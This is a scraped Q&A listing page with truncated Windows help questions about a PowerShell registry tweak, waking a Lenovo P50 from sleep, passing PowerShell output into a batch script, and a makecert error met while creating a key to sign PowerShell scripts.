#If win 10
Set-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Control Panel\Desktop" -Name "UserPreferencesMask" -Value ([byte[]](0x90,0x32,0x07,0x80,0x10,0x00,0x00,0x00))
#if win 7
Set-ItemProperty -Path "Registry... Read more

Read other answers

I have some programs I prefer to run early in the a.m., and am used to being able to wake up my machine from sleep with a powershell script or batch file to get things going.  The script or batch file no longer function to wake the P50.  Also, it won't wake when I press a key on the keyboard (as all of my previous machines have). I've noticed my P50 will wake from sleep if I move the mouse around, and I'm wondering if the issues are all somehow related. Is there a setting (or settings) I need enable / disable to get the plain vanilla wake capabilty working again?  Any advice is appreciated.  Thanks!

Read other answers

Inside a batch script, how to use the content of a variable that come from a PowerShell command ?

Read other answers


I'm struggling to create a private key in order then to use to sign a PowerShell Script and I would really use some help on this.

Firstly I wanted to be able to run PowerShell scripts without having to lower PowerShell's Execution-Policy and in order to do that one should have to be able to sign scripts.

Therefore and after installing the [URL="https://www.microsoft.com/en-us/download/details.aspx?id=8442"]Windows SDK[/URL] I'm trying to create a private key (and then a certificate) in order to be able to sign scripts.

But this fails likewise:

C:\Program Files\Microsoft Visual Studio 8\SDK\v2.0\Bin>makecert -n "CN=PowerShell Local Certificate Root" -a sha1 -eku -r -sv root.pvk root.cer -ss Root -sr localMachine
Error: Can't create the key of the subject ('root.pvk')
And so I've begun trying to debug this, with no success.

So far I've checked with these:

I checked with makecert's documentation to check whether the command parameters are correctexecuted the command from within a non-special directoryexecuted the command as the local Administrator userexecuted the command from an "elevated" Command Prompt or an "elevated" PowerShellmade sure the security permissions for _ALL_ the Crypto/RSA directories are set as indicated

If you have any ideas or you would like to share your insights or have me walk again over again something I've already tried/mentioned please feel free ... Read more

Read other answers